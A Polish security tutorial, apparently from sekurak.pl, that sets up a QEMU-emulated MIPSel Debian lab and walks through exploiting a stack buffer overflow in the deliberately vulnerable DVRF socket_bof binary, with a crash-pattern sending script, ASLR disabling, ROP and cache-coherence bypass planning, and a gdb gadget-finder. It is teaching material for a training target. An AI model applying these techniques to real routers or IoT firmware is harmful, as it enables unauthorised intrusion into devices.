Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Bezpieczeństwo MIPS – ostatnie starcie
Warto żebyś przed przeczytaniem tekstu zerknął na nasze lekcje w temacie bezpieczeństwa MIPSa:
Pamiętaj też żebyś zdobytą tutaj wiedzę wykorzystał tylko w sposób legalny oraz etyczny.
Jest jakiś środek tygodnia, godzina 23.30. Siedzę z kubkiem herbaty wpatrując się w ekrany monitorów. Mój skrypt w Pythonie, który zbiera coś z Internetu nagle przestaje działać. Cóż, problem trzeba jakoś rozwiązać. W zasadzie możliwości są dwie: albo jest to skutek zmęczenia materiału w postaci jakiegoś niezamówionego buga w kodzie albo… Internet, a raczej jego brak. Po sprawdzeniu kodu oraz połączenia z siecią lokalną spoglądam na stojący w rogu router.
Czarne, wykonane z tworzywa amorficznego pudełko o wymiarach 15x73x73 milimetra. W środku układ scalony, plastik, parę śrub, diagnostyczne mrugenlampy. No i zapewne jakiś RISC-owy procesor. A jeśli RISC, to najprawdopodobniej siedzi tam też MIPS.
Ech, ten MIPS.
Pierwszoplanowy aktor niniejszej publikacji, silnik dla tak wielu urządzeń, z których korzystasz na co dzień, choć możesz nawet o tym nie wiedzieć. Z uwagi na to, że architektura ta w systemach wbudowanych jest całkiem szeroko stosowana warto przyjrzeć się jej z bliska – tym bardziej jeśli chcesz rozpocząć swoją przygodę z omijaniem zabezpieczeń w systemach IoT. Poza tym zarówno MIPS, jak i ARM nie są tak szczegółowo omówione jak architektura x86, co pozwala nam badaczom na większy fun z odkrywania oraz dokumentowania coraz to „nowych kwiatków” żyjących gdzieś tam w otchłani kodu niepozornie wyglądających minimaszyn..
Może kiedyś chciałeś zaatakować jakiegoś assembly pod kątem sec, ale nie wiedziałeś od czego rozpocząć/co badać – x86, ARM, MIPS? Toteż szczerze polecam Tobie właśnie MIPS-a czy ARM-a – według mnie są prostsze od x86 i jak już ogarniesz, o co chodzi, to z innymi architekturami pójdzie znacznie łatwiej.
Zatem bardzo chciałbym Ciebie zaprosić do wyjęcia paru godzin z życia i mega absorbującej zabawy z godnym przeciwnikiem.
No to jedziemy.
Wymagania
Podczas badań oraz wszystkich konfiguracji będę wykorzystywał system operacyjny Debian emulowany za pomocą qemu.
Na wstępie dobrze jest znać wymagania, aby zrozumieć rzeczy przedstawiane w tym artykule:
- Dobrze by było, jakbyś umiał trochę programować, ponieważ będziesz tworzyć swoje własne narzędzia, które usprawnią Twoją pracę.
- Fajnie też, jakbyś już miał jakieś pojęcie o assembly. Będziemy poruszali niektóre kwestie bardzo przydatne w inżynierii wstecznej pod kątem security.
- Umiesz Linuksa chociaż na podstawowym poziomie. Będziemy poruszali się na tym systemie operacyjnym.
- Będziesz potrzebował czasu, swojej głowy, chęci rozwiązywania zagadek, dociekliwości oraz umiejętności szybkiego niezniechęcania się.
Reverse engineering pozytywnie wciąga, a z drugiej strony potrafi nieźle sponiewierać, spędzisz trochę czasu w klatce sam na sam z debuggerem. Dasz radę, tylko pamiętaj – to jest gra dla wytrwałych.
Laboratorium
Przed przystąpieniem do budowania swojej piaskownicy-laboratorium opartej na emulatorze qemu – chciałbym zwrócić Ci uwagę na przykłady istniejących/tworzonych alternatyw (dla odmiany sprzętowych), które też mogą posłużyć w różnych projektach badawczych opartych na naszej architekturze:
– Router – np. LinkSys WRT54*. Były podejmowane takie próby chociażby taka jak ta. Linksys + debian.
– Platformy, minikomputery – np. MIPS Creator CI20. A to nawet całkiem ciekawy projekt. Jest to taki “Raspberry PI dla architektury MIPS”.
Są to tylko opcje sprzętowe, o których dobrze jest wiedzieć, może będzie okazja po nie sięgnąć w przyszłości. Jeśli chodzi o minusy takich zastosowań – taki hardware ma dość ograniczoną wydajność pamięci oraz CPU i trzeba mieć to na uwadze.
QEMU
Nasze środowisko testowe oparte będzie o emulator qemu. Emulację za pomocą qemu można przeprowadzać na dwa sposoby. Możesz emulować badaną binarkę albo emulować cały system operacyjny, na którym będziesz robił swój research.
W artykule przedstawiłem ten drugi sposób z emulowanym systemem, gdyż w mojej ocenie jest on nieco wygodniejszy w dłuższej perspektywie, ale za to na samym początku będziesz musiał poświęcić trochę więcej czasu na jego konfigurację.
Konfiguracja będzie się różniła nieco od tej tutaj, dlatego podejdziemy do tematu ponownie.
W pierwszej kolejności musisz zaznajomić się z tą publikacją.
Jest tam cały proces instalacji Debiana zarówno dla MIPS’a jak i MIPSel’a. Dojeżdżasz do momentu, w którym masz już zainstalowany system operacyjny i możesz odpalić go bez błędów (pojawiający się błąd – „end Kernel panic – not syncing: VFS: Unable to mount root fs on unknown-block(0,0)” – jest tam rozwiązany). Pamiętaj również o zaznaczeniu serwera SSH do instalacji. Więcej doczytasz w punkcie „Uzupełnienie rozdziału QEMU – tipy”.
Teraz pora na połączenie z siecią. Olewamy ustawienia zaproponowane w publikacji…
Jest to fragment skryptu „start.sh” rozpoczynającego emulację Debiana na architekturze MIPSel. Publikacja „Building a Debian Stretch (9) QEMU image running MIPSel”
…ponieważ pójdziemy o krok dalej i skonfigurujemy emulowanego Debiana w taki sposób, aby miał on dostęp do Internetu. W tym celu będziesz musiał dodać sobie w pierwszej kolejności interfejs sieciowy na Twoim nieemulowanym systemie:
local@ ~# usermod -a -G tuntap hawk # zamiast „hawk” wstaw Twoją nazwę użytkownika
Stworzenie grupy „tuntap” oraz dodanie do niej użytkownika do późniejszej konfiguracji interfejsów sieciowych.
Plik z interfejsami sieciowymi:
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
iface br0 inet dhcp
pre-up tunctl -t tap0 -g tuntap
pre-up tunctl -t tap1 -g tuntap
pre-up ip link set tap0 up
pre-up ip link set tap1 up
bridge_ports enp4s0 tap0 tap1
bridge_stp off
bridge_maxwait 0
bridge_fd 0
post-down ip link set tap0 down
post-down ip link set tap1 down
post-down tunctl -d tap0
post-down tunctl -d tap1
Plik konfiguracyjny „/etc/network/interfaces” na lokalnym Linuksie – nie emulowanym Debianie.
Pora na aktualizację naszego skryptu, który będzie uruchamiał qemu z prawidłowo ustawioną siecią:
#!/bin/bash
KERNEL=./vmlinux-4.9.0-9-4kc-malta
INITRD=./initrd.img-4.9.0-9-4kc-malta
HDD=./disk.qcow2
qemu-system-mipsel -M malta -m 512 \
-kernel ${KERNEL} \
-initrd ${INITRD} \
-hda ${HDD} \
-netdev user,id=vmnic,hostfwd=tcp:127.0.0.1:1122-:22 -device e1000,netdev=vmnic \
-net nic -net tap,ifname=tap0,script=no \
-display none -vga none -nographic \
-append 'nokaslr root=/dev/sda1 console=ttyS0′
Finalny skrypt uruchamiający emulowanego Debiana za pomocą qemu
Rozłączamy się ze swoją siecią lokalną, a następnie podnosimy interfejs br0 oraz uruchamiamy nasz nowy system:
local@ ~# ifup br0
local@ ~# chmod +x run.sh && ./run.sh
Podniesienie interfejsu „br0” na maszynie lokalnej, a następnie uruchomienie emulowanego Debiana za pomocą skryptu powyżej
Sprawdzamy teraz połączenie typu „bridge” logując się (przez SSH) na emulowanym Debianie:
ssh -p 1122 hawk@localhost
mipsel@ ~$ ping google.com
Już na emulowanym Debianie – sprawdzenie połączenia z Internetem
Stoi.
Uzupełnienie rozdziału QEMU – tipy
W procesie budowania swojego środowiska za pomocą qemu warto, abyś zwrócił także uwagę na pewne rzeczy (czasem oczywiste):
- Wersja systemu
Linki do emulowanego Debiana (initrd, kernel) mogą już nie działać, dlatego najnowszy system możesz znaleźć tutaj.
- Problem z /dev:
Podczas wykonywania kroku:
Zamontowanie „dysku qemu” za pomocą Network Block Device
może pojawić się jeden z następujących problemów:
„mount: urządzenie specjalne /dev/nbd0p1 nie istnieje” czy „mount: special device /dev/nbd0p1 does not exist”.
Wtedy należy wykonać: „partx -a /dev/nbd0″ (wyjaśnienie znajdziesz tutaj).
- Pliki konfiguracyjne
Poniżej zamieszczam Tobie pliki konfiguracyjne, jeśli dalej miałbyś jakieś problemy lub wątpliwości co do konfiguracji swojej sieci (/etc/network/interfaces).
auto lo
iface lo inet loopback
auto enp0s18
iface enp0s18 inet dhcp
Plik konfiguracyjny „/etc/network/interfaces” na już emulowanym Debianie
Skąd wzięliśmy nazwę interfejsu „enp0s18″? Z debuga:
mipsel@ ~# dmesg all
[ 2.023287] e1000 0000:00:12.0 enp0s18: renamed from eth0
Szukamy interfejsu sieciowego na emulowanym Debianie
Plik „/etc/resolv.conf”:
nameserver 10.0.2.3
Plik „/etc/resolv.conf” na emulowanym Debianie
Plik „/etc/hosts”:
127.0.0.1 localhost
127.0.1.1 mipsel-sandbox
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Plik „/etc/hosts” na emulowanym Debianie
Uff, tyle o qemu. Z pewnością niektóre opisane rzeczy są trywialne, tym niemniej bardzo chciałem zaoszczędzić Tobie cennego czasu (bo w publikacji chodzi nam bardziej o skupienie się na MIPSie), a dodatkowo przygotować elastycznie środowisko do naszej dalszej zabawy.
Już na emulowanym Debianie
Do kompletu brakuje nam jeszcze zainstalowanego debuggera gdb z wkompilowanym Pythonem. Z pewnością przyda Ci się plugin o nazwie gef, który jest bardzo pomocny podczas dalszych badań.
Proces emulacji aplikacji IoT w teorii
Mam rozumieć, że przeszedłeś 4 lekcje MIPSa, ciągle jeszcze żyjesz i nawet dalej Cię to jara w jakiś sposób. No to mega, teraz będzie tylko ciekawiej ;>
Właśnie zetknąłeś się z kolejnym, *dość ważnym* zagadnieniem, w który należałoby się zagłębić jeśli dalej jesteś zainteresowany eksploracją tematów związanych z security dla IoT. Zatrzymajmy się tutaj na moment.
Aby szukać błędów (luk bezpieczeństwa) w oprogramowaniu IoT fajnie byłoby mieć w pierwszej kolejności dostęp do takiej binarki ;) – z tym nie ma większego problemu – oczywiście jeśli chodzi o niektóre klasy sprzętu.
Weźmy sobie teraz taki przykład na warsztat: dział wsparcia dla wszelkiej maści routerów na stronach producentów obfituje w spakowane oraz gotowe do aktualizacji oprogramowanie. Mając taki soft możemy już zrobić całkiem sporo pomimo tego, że nie posiadamy fizycznie urządzenia. To oprogramowanie (firmware) dostępne dla użytkowników na stronie jest najczęściej spakowanym obrazem całego systemu (np. taki mały linux :) wraz ze wszystkimi usługami, które są uruchamiane przy starcie urządzenia.
Generalnie taki firmware jest pobierany przez użytkowników aby dokonać aktualizacji eliminując wcześniej zdiagnozowane błędy natomiast haxom dostarcza wielu godzin rozrywki i wiedzy podczas poszukania luk. For fun and profit ma się rozumieć.
Taki firmware się pobiera i się rozpakowuje. Można go w większości przypadków bardzo łatwo rozpakować za pomocą programu Binwalk. Zazwyczaj jest to obraz małego systemu operacyjnego jak już wspomniałem.
Okej, powiedzmy, że rozpakowałeś już sobie taki firmware i znalazłeś tam serwer http, który będziesz chciał teraz przetestować. Poza analizą statyczną (tylko) mamy do wyboru co najmniej dwie możliwości, które posiadają swoje wady jak i zalety:
- Analiza dynamiczna
Uruchamiasz taką binarkę, podpinasz debugger, wysyłasz dane programu i analizujesz jego zachowanie. Pełny komfort pracy.
Uruchomienie takiej aplikacji czasami jest jak tresura lwa w cyrku. Nie jest ona rzeczą prostą. Takie aplikacje często korzystają z zasobów, które nie są w stanie być emulowane za pomocą np. qemu. Trzeba im niekiedy zapewnić/spreparować odpowiednie pliki konfiguracyjne, z których pobierają potrzebne im parametry. Niektóre binarki potrzebują także uruchomionych innych serwisów do działania (tak jest w przypadku niektórych TP-Linków klasy Archer).
Mało? No to jeszcze dorzućmy crashe qemu przy breakpointach czy mechanizmy wykrywające debug gdzie po takim wykryciu kończy się nasza zabawa. Rozmawiałem niedawno z pewnym researcherem, który do poprawnej emulacji potrzebował skompilować sobie nowe jajko.
Na koniec mały tip: jeśli nie działa Ci z jakiegoś powodu qemu i chcesz to już wszystko rzucić – proponuję skompilować sobie wersję < 4. Starsze działają czasem bardziej stabilniej :>
Pomimo tych wszystkich niedogodności dynamiczna analiza jest możliwa chociaż nie z każdym firmware. Udowadnia to właśnie chociażby research błędu sklasyfikowanego numerem CVE-2020-8423 czy tutorial Azerii, która pokazała jak uruchomić cały firmware routera firmy Tenda (zbudowanego na architekturze ARM).
- Analiza symboliczna
Jest to analiza przeprowadzana bez uruchamiania badanego softu (!!!) jednakże pozwalająca na prześledzenie działania programu na pewnym, wybranym jego wycinku – np. od otrzymania danych aż do funkcji, którą chcemy zbadać.
Grzesiek Wypych w swojej mega prezentacji pokazuje dokładnie jak to można zrobić.
Dzisiaj skupiamy się na eksploitacji pewnej klasy błędów dlatego emulacja sprowadzona jest przez nas do minimum – odpalimy sobie prosty kawałek testowego kodu.
Chciałem Ci jednak przybliżyć pewne dość istotne problemy, z którymi możesz się spotkać wchodząc głębiej w temat. Nie ma się jednak czego obawiać – trzeba być wytrwałym ;)
Eksploitacja błędów typu Buffer Overflow
Wreszcie nadszedł czas pobrudzić sobie ręce. Spróbujemy teraz zmusić nasz program do zrobienia czegoś, do czego nie został przeznaczony.
W tym miejscu mam dobrą i złą wiadomość dla Ciebie. Zła to taka, że dopiero co rozpoczynamy rozpoznanie oraz wykorzystywanie tej klasy podatności w architekturze MIPS, dlatego też podczas eksploitacji nie będzie żadnych pobocznych problemów, utrudnień do rozwiązania – będzie to klasyczny atak typu Buffer Overflow „bez przeszkód”.
Dobra wiadomość jest taka, że poznamy jednak pewien ciekawy mechanizm, który będziemy musieli jakoś obejść ;>
Nasz plan działania na chwilę obecną:
– Poznamy, co to jest cache coherence w architekturze MIPS i jak to ominąć.
– Powęszymy trochę w pamięci pisząc do tego swoje narzędzie.
– Złożymy wszystkie informacje, które mamy i na tej podstawie skonstruujemy eksploita.
Buffer Overflow jest typem podatności, w którym najprościej mówiąc nadpisujemy adres powrotu, aby skoczyć w miejsce w pamięci, gdzie znajduje się nasz shellcode do wykonania. Trzeba jednak pamiętać, że dla konkretnej wybranej architektury mogą występować pewne mechanizmy, które uniemożliwiają przeprowadzenie ataku z sukcesem – tak jest właśnie z MIPSem.
Cache Coherence
Wyobraź sobie, że MIPS oprócz pamięci głównej obsługuje także dwa rodzaje pamięci cache:
– instruction cache – przechowuje instrukcje programu,
– data cache – przechowuje dane programu.
Te dwa rodzaje pamięci cache zostały zaprojektowane po to, aby program miał jeszcze szybszy dostęp do danych. Z uwagi na to, że są od siebie odseparowane wymiana wartości pomiędzy instruction cache oraz data cache przebiega przez synchronizację z główną pamięcią programu – odczyt i zapis następuje asynchronicznie.
Musisz wiedzieć, że shellcode, który przekazujemy podczas eksploitacji trafia właśnie do data cache zamiast do głównej pamięci. Dane te zostają odłożone do synchronizacji na później. Aby nasz payload został wykonany – musi on trafić najpierw do pamięci głównej, a następnie do instruction cache. Niestety procesor nie rozpoznaje przesłanego payloadu jako instrukcji do wykonania, zatem synchronizacja z główną pamięcią programu nie zachodzi.
Nadpisując adres powrotu rzeczywiście zmusimy procesor, aby skoczył w miejsce, gdzie znajduje się przesłany shellcode. Procesor stwierdzi jednak, że są to dane i zamiast naszego kodu wykona instrukcje zawarte w instruction cache.
Musimy w jakiś sposób zainicjować proces synchronizacji danych pomiędzy obydwoma cache (data cache i instruction cache) tak, aby shellcode znalazł się w instruction cache i został wykonany prawidłowo.
Najprostszym rozwiązaniem będzie wywołanie funkcji sleep() przed skokiem do zmodyfikowanego adresu powrotu. Plan więc będzie wyglądał następująco:
- zapisujemy parametr funkcji wartością, np. 1,
- wywołujemy funkcję sleep(),
- skaczemy do shellcode.
Plan gry
Piaskownica
Rozpocznijmy najpierw od binarki, na której przeprowadzimy swój research. Na sam początek – szczególnie jeśli dopiero wchodzisz w temat – polecam taki projekt jak „DVRF” – Damn Vulnerable Router Firmware.Jest to specjalnie przygotowany firmware przeznaczony do treningu różnych klas ataków oraz zapoznania się bliżej z badaną architekturą.
Będziemy potrzebowali jeszcze takiego narzędzia o nazwie Binwalk. Tool ten jest używany do analizy badanego firmware. Binwalk pomoże nam rozpakować DVRF do struktury plików systemowych.
Jeśli mamy na pokładzie DVRF i Binwalka to jedziemy:
Okej. Binwalk rozpakował nam firmware i utworzył strukturę plików dla niego. Będziemy pracować na aplikacji zwanej DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof/socket_bof, którą przerzucimy do emulowanego Debiana za pomocą np. programu scp (teraz zacznie się nasz research już na emulowanym Debianie – do niektórych operacji będzie potrzebne konto superużytkownika, tak więc spokojnie możesz zalogować się na roota i z tego poziomu sobie działać):
~DVRF/Firmware$ scp -P 1122 _DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof hawk@localhost:~/
Już na emulowanym Debianie sprawdzamy teraz jakie biblioteki są używane do działania badanego programu. Brakujące biblioteki musisz przesłać z DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/lib do katalogu /lib.
mipsel@ ~# ldd socket_bof
linux-vdso.so.1 (0x77fa6000)
libgcc_s.so.1 => /lib/mipsel-linux-gnu/libgcc_s.so.1 (0x77f3e000)
libc.so.0 => /lib/libc.so.0 (0x77ebe000)
libc.so.6 => /lib/mipsel-linux-gnu/libc.so.6 (0x77d3a000)
/lib/ld-uClibc.so.0 => /lib/ld.so.1 (0x77f75000)
Jeśli wszystko zrobiłeś poprawnie, powinieneś uruchomić socket_bof bez żadnych błędów:
mipsel@ ~# ./DVRF/pwnable/ShellCode_Required/socket_bof 1337
Binding to port 1337
Uruchomienie programu w gdb
Wyłączamy mechanizm ASLR (Address Space Layout Randomization – mechanizm randomizacji adresów) na naszej maszynie – w tej publikacji nie będziemy się tym tematem zajmować.
Jeszcze przed przystąpieniem do debugu pobierz sobie bardzo prosty skrypt (pattern.py), który będzie przydatny do obliczania offsetów podczas budowania naszego eksploita.
No to mamy już wszystko, czego na daną chwilę potrzebujemy. Odpalamy gdb i działamy:
mipsel@ ~# gdb /DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/ShellCode_Required/socket_bof/socket_bof
gef➤ run 1337
Nasza aplikacja nasłuchuje na porcie 1337 (TCP). Zbudujmy sobie zatem mikro skrypt, który posłuży nam do wysłania pewnego ciągu znaków, a my w tym czasie skupimy się nad debugiem. Zwróć uwagę na to, że nie jest to zwyczajny ciąg znaków – każde dwa bajty tego ciągu (tak zwanego „de bruin”) są unikalne. Taki układ pomoże nam szybko znaleźć odpowiedni offset do nadpisanego adresu powrotu:
import struct, string, socket def payload(): return 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A' client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) ip=socket.gethostbyname("127.0.0.1") port=1337 address=(ip,port) client.connect(address) print("[+] sending..") p = payload() client.send(p) data = client.recv(1024) print(data)
skrypt zniszczenia
Powyższy skrypt jest napisany w tzw. „czystym” pythonie. Dobrze jest jednak pamiętać, że istnieją biblioteki, które wspomagają proces „exploit development” aby był on łatwiejszy do przeprowadzenia przez badacza. Jedną z najpopularniejszych bibliotek jest pwntools, którą szczerze Tobie polecam i zachęcam do tego, abyś powyższy kod spróbował napisać używając wspomnianej biblioteki.
Wracając do tematu – coś się tutaj wydarzyło:
Gratuluję – zepsułeś apkę. W zasadzie pół drogi już za Tobą (te mniejsze pół ;>), teraz skupimy się na tym, aby prawidłowo wyeksploitować ten błąd. Pamiętasz nasz game plan z poprzedniego rozdziału? Rozłożymy go teraz na czynniki pierwsze rozpoczynając od wysokiego poziomu abstrakcji tak aby zrozumieć mechanizmy oraz techniki, które ułatwią nam osiągnięcie celu.
Na obrazku zamieszczonym powyżej o nazwie „Coś się tutaj wydarzyło” możesz zaobserwować, że adres rejestru $ra został nadpisany przez wartość „Ab7A”, która znajduje się w przesłanym ciągu znaków do programu. W skrypcie powyżej możesz zobaczyć, że wartość ta jest poprzedzona ciągiem znaków „Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6” w liczbie 51. Jest to właśnie nasz offset potrzebny do tego aby nadpisać rejestr $ra wybranym adresem.
Jak można wygenerować taki długi „de bruin”? Prosto. Mamy sobie taki skrypt w Pythonie za pomocą którego generujemy payload dobierając liczbę znaków do momentu spowodowania błędu:
mipsel@ ~# python pattern.py 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Zmodyfikuj teraz funkcję „payload()” w naszym skrypcie („skrypt zagłady”) w ten sposób aby zwracała dane zaprezentowane poniżej na obrazku:
Konstrukcja payloadu – część 1. Kod w języku python.
Od tego momentu będziemy się koncentrowali na dwóch rzeczach:
- Budowie stosu
Zbudujemy swój stos w programie w oparciu o odpowiednio spreparowane dane przesłane z exploita do programu. Będzie to nasz tak zwany „payload”.
- Budowie tzw. ROP Chain
Zlokalizujemy a później doprowadzimy do wywołania tzw. ROP Gadgety, które zostaną wykonane przed uruchomieniem shellcode.
Do przeprowadzenia ataku na aplikację posłużymy się bardzo ciekawą techniką zwaną ROP (Return Oriented Programming), w którym kluczową rolę pełni budowa tzw. ROP Chain. Atakujący po przejęciu kontroli nad programem wskazuje precyzyjnie które kawałki kodu assembly z wybranych wcześniej funkcji (zwane ROP gadgetami) ów program ma wykonać aby doprowadzić do odpalenia przesłanego shellcode. Po wykonaniu takiego ROP gadgetu program “wraca” na czubek stosu po to aby wykonać skok pod adres kolejnego. ROP gadgety wykonują pewne konkretne operacje w ściśle ustalonej kolejności i tworzą tak zwany ROP Chain.
Technika „Return Oriented Programming” jest używana do eksploitacji mipsowych binarek z pewnych, konkretnych powodów. Pierwszy to taki, że architektura RISC wymusza przekazywanie parametrów do funkcji za pomocą rejestrów. Drugi powód to konieczność obejścia wspomnianego wcześniej mechanizmu „Cache Coherence”. Te ograniczenia uniemożliwiają nam bezpośredni skok pod przesłany shellcode dlatego stworzyliśmy nasz Plan Gry (który został wspomniany w ramce powyżej), który pozwoli nam je ominąć.
Do każdego punktu z wyżej wspomnianego planu zastosujemy konkretny ROP gadget – kawałek kodu assembly, który wykona opisaną operację. Dopiero po wykonaniu wszystkich ROP gadgetów będzie mógł zostać wykonany skok do shellcode w pamięci. To będzie właśnie nasz ROP Chain.
Metody szukania gadgetów do eksploitacji
Można powiedzieć, że jest to proces, który może doprowadzić człowieka do skrajnego załamania nerwowego, jeśli się podejdzie do tematu w niewłaściwy sposób, ale po kolei.
Pamiętasz biblioteki, które były wymagane do działania programu? To właśnie w nich się kryją funkcje, których kod wykorzystujemy do budowy naszych eksploitów. Trudność polega na lokalizacji omawianego kodu w załączonych bibliotekach. Oczywiście, jeśli przeprowadzasz swoje badania za pomocą disassemblera IDA, to masz do dyspozycji już stworzony plugin, który szuka takich kodów za Ciebie.
Tak na prawdę nie musisz wcale używać pluginu z IDA do poszukiwania gadgetów. Zachęcam Cię bardzo do zapoznania się z takimi projektami jak ROPgadget czy inspirowany nim Ropper, które działają w podobny sposób.
W tym miejscu może nasunąć się pytanie skąd pochodzą ROP gadgety. Jest to zależne od tego czy podczas kompilacji programu zostało użyte linkowanie statyczne czy dynamiczne. Jeśli program został zlinkowany statycznie – należy poszukiwać gadgetów w badanej binarce. Jeśli jednak zostało użyte linkowanie dynamiczne – można szukać gadgetów w bibliotekach, z których korzysta program. Możesz je sprawdzić w konsoli za pomocą polecenia „ldd socket_bof”.
P.S. Wiedziałeś, że gdb ma API dla języka Python? ;) Jeśli masz trochę czasu to w ramach ciekawostki możemy napisać sobie takiego naszego mini poszukiwacza gadgetów!
Pamiętaj tylko, aby zainstalować sobie gdb ze wsparciem dla Pythona (flaga –with-python przy kompilacji). Tutaj masz link do mini-narzędzia, które parsując załadowane biblioteki do procesu pozwoli na odszukanie kodu otagowanego jako gadget numer 3 wyżej w tej publikacji. Akurat wspomniany kod wybrałem z uwagi na trudność jego wyszukania przynajmniej dla mnie.
Pobieramy i działamy. Najlepiej będzie, jeśli zrobimy to na dwóch terminalach:
terminal #1
mipsel@ ~# echo 0 > /proc/sys/kernel/randomize_va_space
mipsel@ ~# ./DVRF/pwnable/ShellCode_Required/socket_bof 1337
Uruchomiliśmy naszą rozpakowaną wcześniej binarkę.
terminal #2
mipsel@ ~# ps aux | grep socket_bof
root 652 0.0 0.1 1020 368 pts/0 t+ 16:06 0:00 ./DVRF/pwnable/ShellCode_Required/socket_bof 1337
root 696 0.0 0.8 4696 2144 pts/1 S+ 16:17 0:00 grep socket_bo
Znaleźliśmy PID procesu aplikacji socket_bof, pod który zaraz się podepniemy.
mipsel@ ~# gdb
gef➤ attach 652
…
gef➤ source jinx.py
gef➤ jx
____________ Jinx ____________
usage: jx <option> ..
gef➤ jx mips-tail
+updwtmp found !!!!11111..
[’move t9,s1′]
[’lw ra,36(sp)’, 'lw ra,36(sp)’]
jr t9
+xdr_callhdr found !!!!11111.. # <<< nasza funkcja!!!!!!!!
[’move t9,s2′, 'move t9,s2′, 'move t9,s2′]
[’lw ra,36(sp)’, 'lw ra,36(sp)’]
jr t9
+xdr_rejected_reply found !!!!11111..
[’move t9,s2′]
[’lw ra,36(sp)’, 'lw ra,36(sp)’]
jr t9
+xdr_accepted_reply found !!!!11111..
[’move t9,s2′]
[’lw ra,36(sp)’, 'lw ra,36(sp)’, 'lw ra,36(sp)’, 'lw ra,36(sp)’]
jr t9
…
Jeśli wszystko poszło zgodnie z planem, powinieneś zobaczyć wyniki podobne do tych powyżej. Polecenie „source” ładuje skrypt do gdb, zaś „jx” to polecenie, które ten skrypt wywołuje.
Kod funkcji, który dalej używany jest do zmontowania eksploita rzeczywiście został znaleziony (xdr_callhdr – tak, to jest funkcja z gadgetu numer 3 przedstawionego w dalszej części publikacji). Sprawdźmy, czy rzeczywiście nie ma lipy:
gef➤ disassemble xdr_callhdr
…
0x77f0af1c <+176>: move t9,s2
0x77f0af20 <+180>: lw ra,36(sp)
0x77f0af24 <+184>: lw s2,32(sp)
0x77f0af28 <+188>: lw s1,28(sp)
0x77f0af2c <+192>: lw s0,24(sp)
0x77f0af30 <+196>: jr t9
…
Ok, teraz parę słów odnośnie samego kodu. Mamy sobie główną klasę „Jinx”, w której jest uruchamiany konstruktor __init__ z istotnymi parametrami, w tym ciągiem znaków, który wywołuje skrypt – w naszym przypadku jest to „jx”.
Następnie wywoływana jest funkcja invoke(), w której dalej rzeźbimy. W Jinx zrobiłem to najprościej jak się da. Za pomocą biblioteki gdb wykonałem polecenie „info functions” (które możesz równie dobrze wpisać i uruchomić w konsoli gdb), które zwróciło mi listę nazw wszystkich załadowanych funkcji do programu.
Ostatnią istotną operacją, którą zawarłem w skrypcie jest parsowanie każdej z funkcji i szukanie wybranego przeze mnie wzorca – w tym wypadku kodu, gdzie rejestr $ra jest wypełniany zapisanym adresem z pamięci, a skok następuje do adresu umieszczonego w innym rejestrze niż $ra – dla przykładu $t9, który także jest wcześniej modyfikowany.
Naturalnie, podejść do szukania gadgetów jest pewnie więcej, a algorytm Jinx’a na pewno do idealnych nie należy. Super byłoby w przyszłości rozwinąć tego typu narzędzie, które mogłoby lokalizować inne potrzebne gadgety. Pośród funkcji xdr_callhdr zwrócił mi sporo błędnych wyników, ale w dość prosty sposób znalazłem to, czego potrzebowałem.
I na koniec ostatnia karkołomna metoda. Zawsze możesz spróbować szukać tych gadgetów „ręcznie” – tzn. listować kod każdej funkcji w gdb i czytać go samemu, aż trafisz na właściwy lub też analizować kod biblioteki za pomocą takiego narzędzia jak objdump (objdump -d <lib>), ale szczerze odradzam. Może to przysporzyć Ci wiele straconych godzin lub nieprzespanych nocy z dość marnym rezultatem. Po przejrzeniu ponad 300k linii biblioteki /lib/mipsel-linux-gnu/libc.so.6 w dół i w górę, i tak parę razy – w głowie masz helikopter. Do każdego problemu podchodź twórczo.
